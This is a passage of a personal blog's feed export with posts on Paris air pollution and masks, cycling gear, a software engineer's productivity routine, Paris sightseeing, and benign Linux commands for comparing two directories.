&lt;li&gt;&lt;a href="https://vader-fr.fr/IMG/pdf/rapportvelobeneficesrisques.pdf"&gt;https://vader-fr.fr/IMG/pdf/rapportvelobeneficesrisques.pdf&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Enfin, &lt;a href="https://www.lemonde.fr/planete/article/2014/03/14/pollution-de-l-air-quels-risques-pour-quels-niveaux-de-protection_4383192_3244.html"&gt;cet article du monde qui décrit les principaux polluants et leur effets&lt;/a&gt; conseille à nouveau de privilégier le vélo ou la marche à pied aux autres moyens de transport.&lt;/p&gt;
&lt;h2 id="pollution-du-metro"&gt;Pollution du métro&lt;/h2&gt;
&lt;p&gt;En quelques mots, l'air du métro est différemment pollué de l'air extérieur mais contient &lt;strong&gt;bien plus&lt;/strong&gt; de particules fines (PM10), dues aux frottement des rames sur les rails et au système de freinage. Or, ces particules fines constituent probablement l'un des polluants les plus néfastes pour notre santé.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.terraeco.net/Faut-il-arreter-de-respirer-quand,51829.html"&gt;Cet article de Terraeco&lt;/a&gt;, qui se base à nouveau sur l'étude de Toulouse, nous dit :&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Le meilleur, c’est le vélo. C’est en selle que vous êtes le moins exposé aux particules fines. Et l’exposition au dioxyde d’azote – qui est facteur de troubles respiratoires – est anecdotique. « L’exposition à la pollution peut être ponctuellement importante mais sans phénomène d’accumulation », note l’Oramip. En clair, avoir le nez dans un tuyau d’échappement au feu rouge n’est pas bon mais reste peu dangereux puisque l’exposition reste brève, ouf.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;En métro, vous êtes fortement exposé aux particules fines, on l’a vu plus haut. Mais vous êtes plutôt épargné pour le dioxyde d’azote (c’est à peine moins bien qu’à vélo). De même pour les – très toxiques – benzène et monoxyde de carbone.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="https://data.ratp.fr/explore/?sort=modified&amp;amp;refine.keyword=Qualit%C3%A9+de+l%27air"&gt;La RATP met à disposition les derniers relevés de pollution dans certaines stations de métro sur ce site&lt;/a&gt; et &lt;a href="http://www.iseo.fr/ratp/RATP.php"&gt;ce site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Voici pour conclure deux articles complémentaires sur le sujet de la pollution du métro :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.airparif.asso.fr/pollution/air-interieur-metro"&gt;http://www.airparif.asso.fr/pollution/air-interieur-metro&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.lemonde.fr/planete/article/2014/01/14/l-air-du-metro-pollue-lui-aussi_4347287_3244.html"&gt;https://www.lemonde.fr/planete/article/2014/01/14/l-air-du-metro-pollue-lui-aussi_4347287_3244.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="masques-antipollution-mythes-et-verites"&gt;Masques antipollution : mythes et vérités&lt;/h1&gt;
&lt;p&gt;Les masques ne sont pas magiques. Ils visent à réduire l'exposition à la pollution, ils ne peuvent pas la supprimer à 100%. Il faut aussi prendre en compte que les taux de filtrations promis sont bien souvent mesurés en laboratoire, avec une étanchéité des masques qui est optimale. Dans des conditions réelles, l'étanchéite est bien souvent plus faible. La barbe par exemple contribue grandement aux fuites d'étanchéité.&lt;/p&gt;
&lt;p&gt;Par ailleurs, bon nombre de masques sont destinés aux deux roues motorisées. La ventilation peut donc devenir difficile avec l'effort à vélo.&lt;/p&gt;
&lt;p&gt;Enfin, tous les masques ne filtrent pas la même chose. Certaines filtrent les particules fines, d'autres les gaz, d'autres encore filtrent les deux à la fois.&lt;/p&gt;
&lt;h2 id="masques-jetables"&gt;Masques jetables&lt;/h2&gt;
&lt;p&gt;Concernant les masques non-réutilisables, &lt;a href="http://masquepollution.com/masque-contre-les-particules-fines/"&gt;ce site&lt;/a&gt; semble affirmer qu'ils offrent une meilleure protection contre les particules fines, en citant notamment le &lt;a href="https://www.amazon.fr/3M-9332-respiratoire-filtrant-particules/dp/B00EJIMZZ2?tag=masquepolluti-21"&gt;masque 3M 9332&lt;/a&gt; comme étant le meilleur. Le site dit aussi "&lt;em&gt;les certifications de type FFP (Europe), et KN (Chine) ou N (USA) permettent d’éliminer les plus mauvais masques.&lt;/em&gt;". En effet, en Europe la certification FFP3 (la meilleure) est à favoriser.&lt;/p&gt;
&lt;p&gt;Pour ce qui est des masques jetables contre les gaz, &lt;a href="http://masquepollution.com/masque-anti-pollution/"&gt;cette page&lt;/a&gt; nous dit :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;ozone (O3) et au dioxyde de soufre (SO2): il vous faut un masque ayant une couche de charbon actif. Les odeurs et les composés organiques volatils (COV) seront aussi captées par le filtre.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;oxydes d’azote (NOx): ces gaz peuvent être capté par des filtres spécifiques, mais généralement ces filtres n’existent pas en combinaison avec les filtres à particule pour l’ozone et le dioxyde de soufre.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;enfin, le monoxyde de carbone (CO) ne peut pas être filtré par des protections respiratoires conventionnelles.&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="masques-reutilisables"&gt;Masques réutilisables&lt;/h2&gt;
&lt;p&gt;Concernant les masques réutilisables, en France, il y en a trois principaux :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.wair.fr/"&gt;Wair&lt;/a&gt;, celui que j'ai personnellement choisi. Il est nécessaire de changer le filtre tous les mois pour une filtration optimale. &lt;a href="https://www.wair.fr/fr/content/16-filtration"&gt;Ils promettent aussi une filtration contre les gaz&lt;/a&gt;, en plus des particules fines.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.r-pur.com/"&gt;R-PUR&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://maskgeneration.com/"&gt;Mask Generation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="http://masquepollution.com/meilleur-masque-anti-pollution-comparatif/"&gt;Cet article&lt;/a&gt; donne d'autres références de masques, non français, notamment le &lt;a href="https://www.amazon.fr/gp/product/B007Q35I1U/ref=as_li_tl?ie=UTF8&amp;amp;camp=2522&amp;amp;creative=9474&amp;amp;creativeASIN=B007Q35I1U&amp;amp;link_code=as3&amp;amp;tag=masquepolluti-21"&gt;Vogmask N99 CV&lt;/a&gt;. &lt;a href="https://www.lecyclo.com/outils/se-proteger-de-la-pollution-a-velo"&gt;Cet autre site&lt;/a&gt; donne d'autres références également.&lt;/p&gt;
&lt;p&gt;En conclusion, je dirais qu'il reste difficile d'évaluer la réelle efficacité de ces masques. Une chose est sûr : tant qu'ils ne gênent pas la respiration et ne forcent pas à hyperventiler, il n'y a aucune raison de ne pas les porter.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;Voilà qui clôt cet article sur la pollution urbaine.&lt;/p&gt;
&lt;h1 id="resources-on-the-topic"&gt;Resources on the topic&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.ft.com/content/552b37dd-0d86-403c-ba50-af793049799b"&gt;Reclaim our cities from the SUV army&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=HS6WrJZKbjs"&gt;The real cost of freeways in LA&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://voxeu.org/article/cars-make-cities-less-compact"&gt;Cars make cities less compact&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="What's bad about"></category><category term="air"></category><category term="pollution"></category><category term="paris"></category></entry><entry><title>Living In Paris: Riding A Bike In Paris</title><link href="https://romainpellerin.eu/living-in-paris-riding-a-bike-in-paris.html" rel="alternate"></link><published>2019-03-07T22:50:00+01:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2019-03-07:/living-in-paris-riding-a-bike-in-paris.html</id><summary type="html">&lt;p&gt;I just bought a bike. Here's to a whole new life!&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;This article is continued &lt;a href="https://romainpellerin.eu/living-in-paris-la-bible-du-velotafeur.html"&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;I recently purchased a second-hand bike from one of my colleagues. By doing so, I intend to commute with it as often as possible and thus reduce metro-induced stress. It's also a good opportunity to save time: exercice while commuting, how great of a combination is that?!&lt;/p&gt;
&lt;p&gt;Anyway, the last time I owned a bike was in 2016 when I was living in South Korea. And riding a bike in Paris is a whole lot different from riding one in University campus. Now let's go through the required gear for a pleasant and safe commute:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A helmet, of course&lt;/li&gt;
&lt;li&gt;A bell, for safety&lt;/li&gt;
&lt;li&gt;Lighting, front and rear&lt;/li&gt;
&lt;li&gt;A U-lock. Any other kind of lock is shit. The best ones on the market are built by &lt;a href="https://www.kryptonitelock.com/en/locks-landing/product-details-bicycle.html"&gt;Kryptonite&lt;/a&gt;. I got the &lt;a href="https://www.kryptonitelock.com/content/kryt-us-2/en/products/product-information/current-key/002130.html?type=bicycle"&gt;New-U - Evolution Standard (model 2130)&lt;/a&gt; and a &lt;a href="https://www.kryptonitelock.com/content/kryt-us-2/en/products/product-information/current-key/210818.html?type=bicycle"&gt;KryptoFlex 410 Double Loop Cable&lt;/a&gt; to lock both wheels.&lt;/li&gt;
&lt;li&gt;A fender/mudguard, for rainy days&lt;/li&gt;
&lt;li&gt;Waterproof pants, for the same reason&lt;/li&gt;
&lt;li&gt;Gloves, they might come in handy in case of fall&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.wair.fr/en/"&gt;Anti-pollution mask&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Suitable clothes to reduce perspiration&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A very important thing to do is to get one's bike engraved as soon as possible. In case of theft, it increases the likelihood of finding it back. In Paris, &lt;a href="https://www.bicycode.org/"&gt;BICYCODE&lt;/a&gt; takes care of it. You can do it for 10 euros at &lt;a href="http://mdb-idf.org/le-marquage-bicycode/"&gt;La Maison du Vélo&lt;/a&gt;.
&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;That's it for now.&lt;/p&gt;
&lt;p&gt;&lt;img alt="My bike" src="https://romainpellerin.eu/images/bike-paris2.jpg"&gt;&lt;/p&gt;</content><category term="Bikes"></category><category term="bike"></category><category term="paris"></category></entry><entry><title>The Way I Work</title><link href="https://romainpellerin.eu/the-way-i-work.html" rel="alternate"></link><published>2019-02-17T23:20:00+01:00</published><updated>2019-02-18T12:37:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2019-02-17:/the-way-i-work.html</id><summary type="html">&lt;p&gt;My daily routine to focus and remain productive&lt;/p&gt;</summary><content type="html">&lt;p&gt;A few months ago I stumbled upon &lt;a href="http://blog.samaltman.com/productivity"&gt;this article on productivity&lt;/a&gt;. I found it very inspiring. It somehow convinced me to rethink the way I work. Since then, I've been actively working on perfecting my daily workflow to be more productive and also more organized. Reducing my stress level was also one of my goals.&lt;/p&gt;
&lt;p&gt;I think having a clearly defined and established workflow is more important than most people think. I find habits to be comforting. They help me concentrate and focus on what matters.&lt;/p&gt;
&lt;p&gt;The advice given in this article doesn't apply to everybody. Being a software engineer has its own constraints and requirements. In this article, I speak about work environment, tools and fighting physical and mental fatigue.&lt;/p&gt;
&lt;h1 id="todotxt"&gt;TODO.txt&lt;/h1&gt;
&lt;p&gt;I think the most important task one has to do daily is defining a list of priorities for the day to come. It is very important to know what to work on and when.&lt;/p&gt;
&lt;p&gt;I tried for a long time to keep a TODO list on a piece of paper (or in a booknote). It was working, but not as well as I wished. The main problem was that I needed to be physically present at my desk to access my list or edit it. That's why I eventually switched to a digital TODO list. Many people resort to apps for that, Evernote being one of the most popular I believe.  I however use a simple text file. I find these note taking apps too distracting, with countless features I would never use. What I like about my text file is the simplicity of it. Plus I can access it at any time, as long as I am carrying my work laptop. Plus I am not tempted to access it outside of office hours.&lt;/p&gt;
&lt;p&gt;Reading and editing my TODO list is something I do many times throughout the day, as I need to re-arrange my priorities and when I get work done. Moreover, at the end of each day, I make sure to prepare my TODO list for the following day.&lt;/p&gt;
&lt;p&gt;My TODO list is a simple plain text file yet it has its own sections, separated by empty lines. The topmost lines of the file are the tasks I need to get done by the end of the day, sorted from the most urgent one to the least. Then, the second section contains tasks that must be worked on in the short term, preferably in the month to come. Finally comes the third section which is a backlog of tasks I want to work on some day.&lt;/p&gt;
&lt;p&gt;I've been putting all this into practice for a few months now and I must admit it's working well for me. No distractions, simplicity, I can add/edit/remove entries with a few keystrokes, I can also make backups or send it over emails in seconds. In short, I love it. A stress-free TODO list, always up-to-date.&lt;/p&gt;
&lt;p&gt;Below is an extract of my list, in its current state:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;- Finish feature 1691
- Book plane tickets and hotel for Berlin trip

- Delete 2 `const workshopVisitMotivesCountScenario = workshopVisitMotivesScenario(motives)` in `onChange`?
- Schedule meeting front guild early April
- Move Jenkins loc() to Heroku

- Articles ideas
  - eslint
  - code/bundle splitting
  - download/parse/exec time
  - debugging with devtools (CSS, ...) in ffox and chrome (breaking point with mouse clicks, ...)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="bookmarks"&gt;Bookmarks&lt;/h1&gt;
&lt;p&gt;Bookmarks are an essential feature of any web browser. However, not everyone agrees on how to use it. Even I use bookmarks differently on my personal laptop than on my professional laptop.&lt;/p&gt;
&lt;p&gt;Professionally, I use bookmarks for websites I rarely visit, so rarely that neither me or my browser can remember the URL. What I mean by the browser can't remember it is that it does not show up in the list of suggested URLs are I type in the URL bar. I sort my bookmarks by topic, in folders named according to their topic. A few examples of folders I have:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;COMPANY-RELATED&lt;/em&gt;: payrolls, holidays, expensify, etc&lt;/li&gt;
&lt;li&gt;&lt;em&gt;TO READ LATER&lt;/em&gt;: lengthy articles I'll probably read some day while waiting for the CI tests to run&lt;/li&gt;
&lt;li&gt;&lt;em&gt;REACT TRAININGS I GIVE&lt;/em&gt;: Asana list to keep track of the sessions, useful links to share&lt;/li&gt;
&lt;li&gt;&lt;em&gt;1-ON-1&lt;/em&gt;: contains stuff related to my quaterly objectives, the list of engineering roles and associated levels in my company, etc&lt;/li&gt;
&lt;li&gt;&lt;em&gt;TO PRESENT&lt;/em&gt;: things I want to present at the next All Hands meetings&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I never bookmark websites I visit daily, or frequently. Why? Because I can at least remember some part of the URL, or the title, and my browser is smart enough to autocomplete it and suggest it automatically. For websites I visit many times a day, like the Pull Requests page on Github, or my Twitter feed, I create keyboard shortcuts to access them instantly. For instance, Github Pull Requests is &lt;code&gt;&amp;lt;Super&amp;gt;+G&lt;/code&gt; (G as in Github).&lt;/p&gt;
&lt;p&gt;In the past, I used to have bookmarks for every website. It wasn't until recently when I switched to very few bookmarks that I noticed how stressful it was for me to have all these bookmarks being constantly displayed before my eyes.&lt;/p&gt;
&lt;h1 id="opening-new-pull-requests"&gt;Opening new Pull Requests&lt;/h1&gt;
&lt;p&gt;Speaking of Github, I've got some interesting things to say about Pull Requests.&lt;/p&gt;
&lt;p&gt;I basically open a new Pull Request every time I start working on a new feature, a new bug fix, or when I'm refactoring code. When the specs are not great, it's sometimes hard to know precisely what needs to be done, code-wise. How do I deal with this? First, I start working on what is obvious: be it the core feature, or creating a new empty React component, creating a new Rails controller, etc. Then I git commit, push and open the Pull Request. That first commit is usally quite small in terms of changes. Only then do I start listing what is "left to be done" in the Pull Request description. Github offers a convenient way to create TODO lists in markdown, with actual checkboxes that are checkable. Just write "&lt;code&gt;- [ ] Something to do&lt;/code&gt;" and it'll be displayed as a list item prefixed with an unchecked checkbox.&lt;/p&gt;
&lt;p&gt;When the TODO list is ready, I add the "WIP" label as well as my team label, and resume working.&lt;/p&gt;
&lt;h1 id="inbox-and-thunderbird"&gt;Inbox and Thunderbird&lt;/h1&gt;
&lt;p&gt;Any email people receive fall in one of these three categories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Action required on your side: it could be a quick action (like replying) or a time-consuming one (like filling a form)&lt;/li&gt;
&lt;li&gt;Temporal information&lt;/li&gt;
&lt;li&gt;Important information that must be kept for a long time, or files&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It works essentially just like a mailbox. Mail people get in their mailboxes also fall into these categories: bills are actions required on your side, postcards are temporal information, payrolls are important information, parcels are like files, etc.&lt;/p&gt;
&lt;p&gt;Nobody would open a mailbox, see what's inside, and leave it there. Therefore, it does not make any sense to have inboxes full of emails. I am doing Inbox Zero: I aim (and almost always succeed) at keeping my inbox empty. My strategy is as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I open my email client a few times a day, usually at the beginning of the day, before lunch, after lunch, a few times in the afternoon when I'm on code-breaks, and before leaving work.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I process emails one by one:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If it's an "action required" email and the action takes less than 5 minutes, I do it immediately then delete the email.&lt;/li&gt;
&lt;li&gt;If it's an "action required" email and the action takes more than 5 minutes, I keep the email in my inbox and add a new entry in my TODO list such as "&lt;em&gt;reply to email from X&lt;/em&gt;" or "&lt;em&gt;do what X asked for&lt;/em&gt;". I will then delete the email when the action is done.&lt;/li&gt;
&lt;li&gt;If it's a temporal information, I take note of it if needed and delete the email immediately. A temporal information could be a Google Calendar invite, a JIRA edit from my colleagues, an incident reported by New Relic, etc.&lt;/li&gt;
&lt;li&gt;If it's an important information, I move the email into the appropriate subfolder (they're called labels in Gmail). An important information could be a contract (PDF document), an organizational change, a POST-MORTEM document that I believe will be useful in the future, a train ticket that will eventually be deleted when the trip is done, etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;As I just said, I use Gmail labels quite a lot, in the sense that many emails end up in labels. However, I only have a handful of them. Here are a few:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Trips: business trips (train tickets, hotels, etc)&lt;/li&gt;
&lt;li&gt;Front stack: any important email regarding frontend&lt;/li&gt;
&lt;li&gt;Archives: anything that does not belong to another category&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I also rely on Gmail filters extensively. I get a lot of emails I don't need to see at all, that I want deleted automatically. For instance, I often check the notifications on Github, therefore I don't need to also see the emails they send me. Also, our staging environment is deployed with every new commit (every 10 minutes or so), therefore I don't need to know every time a new commit is deployed.&lt;/p&gt;
&lt;p&gt;Finally, I must confess I use Thundebird, and not the Gmail website. And I'm proud of it. The reasons I use Thunderbird are listed below:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It works offline: I can access my emails when not connected to the Internet. Even though it happens very rarely, it's very handy when in the train for instance.&lt;/li&gt;
&lt;li&gt;Gmail is a website, and not a lightweight one. The tab consumes a lot of RAM memory, and opening/closing/opening the websites several times a day is not a better alternative, as it takes many seconds.&lt;/li&gt;
&lt;li&gt;Gmail is distracting: there's Google Hangout in the left bottom corner, many buttons here and there.&lt;/li&gt;
&lt;li&gt;I don't like the conversation-grouping feature of Gmail, I never got used to it. Thunderbird also has it but I disabled it.&lt;/li&gt;
&lt;li&gt;Thunderbird is simple, RAM-efficient. And having a distinct program for emails help see it as something important, it's not just another tab.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="slack-and-distractions"&gt;Slack and distractions&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://romainpellerin.eu/slack.html"&gt;I hate Slack&lt;/a&gt;. But I have to deal with it. Slack is distracting (notifications mostly), there's a lot of noise and not much information. There are two-people conversations involving everyone, there are company-wide conversations to which only two people are contributing. There's the fear of missing out, and the useless necessity to read all the unread messages when coming back from days off. Plus important messages and notices get often lost in the never-ending flow of messages. It becomes hard to differentiate what's important from what is not.&lt;/p&gt;
&lt;p&gt;So my strategy here is very simple: I open Slack every time I open Thunderbird. Sometimes, I leave it open for longer periods of time, when I'm actively engaged in a conversation. But overall, I try to use it as little as possible.&lt;/p&gt;
&lt;h1 id="open-spaces-headphone-and-sound"&gt;Open spaces, headphone and sound&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://romainpellerin.eu/open-offices.html"&gt;I also hate open spaces&lt;/a&gt;. Everyone is forced to share everyone else's emotions. Everyone is an indirect contributor who did not volonteer to someone else's conversation.&lt;/p&gt;
&lt;p&gt;The main problem with open spaces is sound, or most specifically noise. People talking out loud, laughing, going to the bathrooms, etc. I'm fighting this with a headphone. I wear it almost all the time, most of the time with no music playing. It acts as a symbolic barrier, it helps my brain isolate itself and focus. When I am actually listening to music, it has to be either a song I've heard a thousand times, so that I'm already used to it, or some lyricless song. It helps me get in the zone.&lt;/p&gt;
&lt;h1 id="standing-up"&gt;Standing up&lt;/h1&gt;
&lt;p&gt;Moving on to the physical section now... I've been using &lt;a href="http://www.thefreedesk.com/"&gt;a standing desk&lt;/a&gt; for a year now, at work. And I am entirely satisfied. I alternate between sitting and standing throughout the day, sometimes several times. &lt;a href="https://romainpellerin.eu/a-sedentary-life.html"&gt;It has many advantages&lt;/a&gt;. I am feeling more energetic overall.&lt;/p&gt;
&lt;h1 id="sports"&gt;Sports&lt;/h1&gt;
&lt;p&gt;I recently started going to the gym many times a week. I am lucky enough to have a gym in the very same building, where I work. My sessions are usually split in two: first I do 15 minutes of jogging, then 30 minutes of workout. In a matter of weeks, I have noticed so much improvement on my sleep quality and productivity during the day. Short nights don't have a toll on me anymore, like they used to. Not that it's advisable or that I like it, but when it happens I can easily handle a few short nights in a row now. Not to mention the slight weight loss. I usually go 2 or 3 times a week, after work.&lt;/p&gt;
&lt;h1 id="conclusion"&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;This is it. That's how I work. I hope you found something useful, or maybe you've learned something? I think most people don't pay enought attention to their daily routine and workflow. They don't seek improvement and don't see the importance of being healthy. There are many ways to reduce stress while increasing productivity. It could be a tiny habit to change or a big one. I think everyone should reflect on that every once in a while, and try to improve the way they work.&lt;/p&gt;
&lt;p&gt;Cheers!&lt;/p&gt;</content><category term="About me"></category><category term="work"></category></entry><entry><title>Things To Do In Paris</title><link href="https://romainpellerin.eu/things-to-do-in-paris.html" rel="alternate"></link><published>2018-12-11T23:20:00+01:00</published><updated>2021-09-07T18:49:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-12-11:/things-to-do-in-paris.html</id><summary type="html">&lt;p&gt;The list of things to do in Paris I usually share with friends&lt;/p&gt;</summary><content type="html">&lt;ul&gt;
&lt;li&gt;Le Louvres&lt;/li&gt;
&lt;li&gt;Tour Eiffel - go to the third floor&lt;/li&gt;
&lt;li&gt;Champs Elysees&lt;/li&gt;
&lt;li&gt;Notre Dame Cathedral + towers&lt;/li&gt;
&lt;li&gt;Arc de Triomphe - go to the top!&lt;/li&gt;
&lt;li&gt;Montmartre - artistic elevated neighborhood&lt;/li&gt;
&lt;li&gt;Restaurant Indianafé Café Maine - nice restaurant, great decoration, with English speaking clients and staff - &lt;a href="http://www.indianacafe.fr/restaurants-clubs/46/maine.html"&gt;http://www.indianacafe.fr/restaurants-clubs/46/maine.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ground Control - one of my favorite places in Paris for chilling - &lt;a href="https://www.groundcontrolparis.com/"&gt;https://www.groundcontrolparis.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Bercy Village - a pedestrian street filled with restaurants essentially - &lt;a href="https://www.bercyvillage.com/"&gt;https://www.bercyvillage.com/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Le Comptoir Général - amazing jungle bar - &lt;a href="https://www.lecomptoirgeneral.com/"&gt;https://www.lecomptoirgeneral.com/&lt;/a&gt; - PHOTOS ==&amp;gt; &lt;a href="https://www.instagram.com/lecomptoirgeneral/"&gt;https://www.instagram.com/lecomptoirgeneral/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;La coulée verte - elevated linear park - &lt;a href="https://en.wikipedia.org/wiki/Coul%C3%A9e_verte_Ren%C3%A9-Dumont"&gt;https://en.wikipedia.org/wiki/Coul%C3%A9e_verte_Ren%C3%A9-Dumont&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Palais de Tokyo - museum&lt;/li&gt;
&lt;li&gt;Musée du quai Branly - museum&lt;/li&gt;
&lt;li&gt;Centre Pompidou - AWESOME MUSEUM!! - &lt;a href="https://www.centrepompidou.fr/en"&gt;https://www.centrepompidou.fr/en&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Musée d'Orsay - museum&lt;/li&gt;
&lt;li&gt;Père Lachaise Cemetery - Jim Morrison, Edith Piaf, Oscar Wilde, and others are buried there&lt;/li&gt;
&lt;li&gt;Pigalle - "hot" neighborhood with the famous Moulin Rouge, music shops, prostitutes, artists, etc&lt;/li&gt;
&lt;li&gt;Catacombes de Paris - underground ossuaries with actual skulls and bones&lt;/li&gt;
&lt;li&gt;Hanging out on the banks of the Seine&lt;/li&gt;
&lt;li&gt;Les jardins du Luxembourg - park&lt;/li&gt;
&lt;li&gt;Musée Grévin - wax museum with celebrities - &lt;a href="https://www.grevin-paris.com/en"&gt;https://www.grevin-paris.com/en&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Le Marais - What Castro is to SF; gay neighborhood, very eccentric&lt;/li&gt;
&lt;li&gt;Street Art in Belleville - &lt;a href="http://streetartparis.fr/visite-street-art-belleville/"&gt;http://streetartparis.fr/visite-street-art-belleville/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Palais Garnier&lt;/li&gt;
&lt;li&gt;La Conciergerie&lt;/li&gt;
&lt;li&gt;Sainte Chapelle&lt;/li&gt;
&lt;li&gt;Château de Fontainebleau&lt;/li&gt;
&lt;li&gt;Château de Versailles&lt;/li&gt;
&lt;li&gt;Pantheon&lt;/li&gt;
&lt;li&gt;Musée Rodin&lt;/li&gt;
&lt;li&gt;Musée de l’Orangerie&lt;/li&gt;
&lt;li&gt;Musée national d'Histoire Naturelle&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="at-night"&gt;At night&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Lido&lt;/li&gt;
&lt;li&gt;The Crazy Horse&lt;/li&gt;
&lt;li&gt;Le Moulin Rouge&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.louvre.fr/la-nocturne-du-samedi"&gt;La Nocture du samedi - Le Louvre&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://culturezvous.com/tarifs-abonnements-annuels-musees-paris/"&gt;Here are some additional places of interest&lt;/a&gt;.&lt;/p&gt;</content><category term="Travels"></category><category term="paris"></category></entry><entry><title>How To Find Differences Between Two Directories On Linux</title><link href="https://romainpellerin.eu/how-to-find-differences-between-two-directories-on-linux.html" rel="alternate"></link><published>2018-12-10T23:20:00+01:00</published><updated>2024-12-11T16:26:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2018-12-10:/how-to-find-differences-between-two-directories-on-linux.html</id><summary type="html">&lt;p&gt;Different ways to diff two folders&lt;/p&gt;</summary><content type="html">&lt;h1 id="diff"&gt;&lt;code&gt;diff&lt;/code&gt;&lt;/h1&gt;
&lt;p&gt;Compares filenames and lines. &lt;strong&gt;Very slow&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;/usr/bin/diff -qr /dirA /dirB
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="comm-find"&gt;&lt;code&gt;comm&lt;/code&gt; + &lt;code&gt;find&lt;/code&gt;&lt;/h1&gt;
&lt;p&gt;Only compares filenames. &lt;strong&gt;Fast&lt;/strong&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;comm -3 &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;find /dirA -type f -printf &lt;span class="s2"&gt;&amp;quot;%f\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;sort&lt;span class="o"&gt;)&lt;/span&gt; &amp;lt;&lt;span class="o"&gt;(&lt;/span&gt;find /dirB -type f -printf &lt;span class="s2"&gt;&amp;quot;%f\n&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;sort&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Also works with &lt;code&gt;diff&lt;/code&gt;.&lt;/p&gt;
&lt;h1 id="diff-find-md5sum"&gt;&lt;code&gt;diff&lt;/code&gt; + &lt;code&gt;find&lt;/code&gt; + &lt;code&gt;md5sum&lt;/code&gt;&lt;/h1&gt;
&lt;p&gt;Compares filenames and content. &lt;strong&gt;Slow&lt;/strong&gt;.&lt;/p&gt;
